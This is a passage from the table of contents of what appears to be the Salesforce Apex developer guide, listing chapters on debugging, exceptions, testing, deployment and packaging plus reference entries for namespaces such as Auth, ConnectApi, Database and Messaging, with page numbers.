Using Regions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 518
Using Match Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 518
Using Bounds . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 518
Understanding Capturing Groups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 519
Pattern and Matcher Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 519
FINISHING TOUCHES
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522
Chapter 12: Debugging Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522
Debug Log . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 523
Working with Logs in the Developer Console . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 527
Debugging Apex API Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 541
Debug Log Order of Precedence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 542
Exceptions in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 543
Exception Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 544
Exception Handling Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 546
Built-In Exceptions and Common Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 548
Catching Different Exception Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 552
Create Custom Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 553
Chapter 13: Testing Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 556
Understanding Testing in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 557
What to Test in Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 557
What are Apex Unit Tests? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 558
Accessing Private Test Class Members . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 561
Understanding Test Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 563
Contents
Isolation of Test Data from Organization Data in Unit Tests . . . . . . . . . . . . . . . . . . . . . 563
Using the isTest(SeeAllData=true) Annotation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 564
Loading Test Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565
Common Test Utility Classes for Test Data Creation . . . . . . . . . . . . . . . . . . . . . . . . . . 567
Using Test Setup Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 568
Run Unit Test Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 569
Using the runAs Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 573
Using Limits, startTest, and stopTest . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 575
Adding SOSL Queries to Unit Tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 575
Testing Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
Testing Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 577
Testing and Code Coverage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 582
Code Coverage Best Practices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 585
Build a Mocking Framework with the Stub API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 586
Chapter 14: Deploying Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 591
Using Change Sets To Deploy Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 592
Using the Force.com IDE to Deploy Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 592
Using the Force.com Migration Tool . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 592
Understanding deploy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 594
Understanding retrieve . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 595
Using SOAP API to Deploy Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 597
Chapter 15: Distributing Apex Using Managed Packages . . . . . . . . . . . . . . . . . . . . 598
What is a Package? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 599
Package Versions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 599
Deprecating Apex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 600
Behavior in Package Versions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 600
Versioning Apex Code Behavior . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 600
Apex Code Items that Are Not Versioned . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 601
Testing Behavior in Package Versions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 602
Chapter 16: Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 604
Apex DML Operations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 606
Apex DML Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 606
ApexPages Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 610
Action Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 611
Component Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 613
IdeaStandardController Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 615
IdeaStandardSetController Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 617
KnowledgeArticleVersionStandardController Class . . . . . . . . . . . . . . . . . . . . . . . . . . 620
Message Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 624
StandardController Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 628
StandardSetController Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 633
Contents
AppLauncher Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 642
AppMenu Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 642
Approval Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 644
LockResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 645
ProcessRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 647
ProcessResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 649
ProcessSubmitRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 651
ProcessWorkitemRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 655
UnlockResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 657
Auth Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
AuthConfiguration Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 661
AuthProviderCallbackState Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 668
AuthProviderPlugin Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 670
AuthProviderPluginClass Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 674
AuthProviderTokenResponse Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 683
AuthToken Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 686
CommunitiesUtil Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 690
ConnectedAppPlugin Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 692
InvocationContext Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 698
JWS Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 699
JWT Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 702
JWTBearerTokenExchange Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 707
OAuthRefreshResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 712
RegistrationHandler Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 715
SamlJitHandler Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 720
SessionManagement Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 724
SessionLevel Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 732
UserData Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 733
VerificationPolicy Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 738
Auth Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 738
Cache Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 740
Org Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 740
OrgPartition Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 753
Partition Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 756
Session Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 767
SessionPartition Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 779
Cache Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 782
Visibility Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 783
Canvas Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 783
ApplicationContext Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 784
CanvasLifecycleHandler Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 787
ContextTypeEnum Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 789
EnvironmentContext Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 790
RenderContext Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 796
Contents
Test Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 798
Canvas Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 801
ChatterAnswers Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 802
AccountCreator Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 802
ConnectApi Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 804
ActionLinks Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 806
Announcements Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 815
Chatter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 820
ChatterFavorites Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 826
ChatterFeeds Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 846
ChatterGroups Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1130
ChatterMessages Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1174
ChatterUsers Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1198
Communities Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1228
CommunityModeration Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1230
ContentHub Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1254
Datacloud Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1289
EmailMergeFieldService Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1294
ExternalEmailServices Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1295
Knowledge Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1296
ManagedTopics Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1300
Mentions Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1313
Organization Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1319
QuestionAndAnswers Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1320
Recommendations Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1323
Records Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1384
SalesforceInbox Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1387
Topics Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1388
UserProfiles Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1422
Zones Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1432
ConnectApi Input Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1442
ConnectApi Output Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1483
ConnectApi Enums . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1631
ConnectApi Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1649
Database Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1649
Batchable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1650
BatchableContext Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1652
DeletedRecord Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1653
DeleteResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1654
DMLOptions Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1656
DmlOptions.AssignmentRuleHeader Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1659
DMLOptions.DuplicateRuleHeader Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1661
DmlOptions.EmailHeader Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1663
DuplicateError Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1665
Contents
EmptyRecycleBinResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1667
Error Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1669
GetDeletedResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1670
GetUpdatedResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1672
LeadConvert Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1673
LeadConvertResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1681
MergeResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1683
QueryLocator Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1685
QueryLocatorIterator Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1686
SaveResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1687
UndeleteResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1690
UpsertResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1691
Datacloud Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1693
AdditionalInformationMap Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1693
DuplicateResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1694
FieldDiff Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1699
MatchRecord Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1700
MatchResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1702
DataSource Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1704
AsyncDeleteCallback Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1707
AsyncSaveCallback Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1708
AuthenticationCapability Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1708
AuthenticationProtocol Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1709
Capability Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1709
Column Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1711
ColumnSelection Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1726
Connection Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1728
ConnectionParams Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1733
DataSourceUtil Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1737
DataType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1738
DeleteContext Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1739
DeleteResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1740
Filter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1743
FilterType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1745
IdentityType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1746
Order Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1746
OrderDirection Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1748
Provider Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1749
QueryAggregation Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1750
QueryContext Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1751
QueryUtils Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1753
ReadContext Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1756
SearchContext Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1757
SearchUtils Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1759
Contents
Table Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1760
TableResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1764
TableSelection Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1769
UpsertContext Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1771
UpsertResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1772
DataSource Exceptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1775
Dom Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1776
Document Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1776
XmlNode Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1779
Flow Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1789
Interview Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1789
KbManagement Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1792
PublishingService Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1792
Messaging Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1803
Email Class (Base Email Methods) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1804
EmailFileAttachment Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1808
InboundEmail Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1810
InboundEmail.BinaryAttachment Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1816
InboundEmail.TextAttachment Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1818
InboundEmailResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1821
InboundEnvelope Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1822
MassEmailMessage Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1823
InboundEmail.Header Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1825
PushNotification Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1826
PushNotificationPayload Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1829
RenderEmailTemplateBodyResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1832
RenderEmailTemplateError Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1833
SendEmailError Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1835
SendEmailResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1836
SingleEmailMessage Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1837
Process Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1849
Plugin Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1849
PluginDescribeResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1851
PluginDescribeResult.InputParameter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1854
PluginDescribeResult.OutputParameter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1857
PluginRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1860
PluginResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1861
QuickAction Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1862
DescribeAvailableQuickActionResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1863
DescribeLayoutComponent Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1864
DescribeLayoutItem Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1866
DescribeLayoutRow Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1867
DescribeLayoutSection Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1869
DescribeQuickActionDefaultValue Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1872
Contents
DescribeQuickActionResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1873
QuickActionDefaults Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1888
QuickActionDefaultsHandler Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1889
QuickActionRequest Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1892
QuickActionResult Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1896
SendEmailQuickActionDefaults Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1898
Reports Namespace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1900
AggregateColumn Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1903
BucketField Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1905
BucketFieldValue Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1912
BucketType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1916
ColumnDataType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1916
ColumnSortOrder Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1917
CrossFilter Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1917
CsfGroupType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1923
DateGranularity Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1923
DetailColumn Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1924
Dimension Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1925
EvaluatedCondition Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1925
EvaluatedConditionOperator Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1929
FilterOperator Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1930
FilterValue Class . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1931
FormulaType Enum . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1932
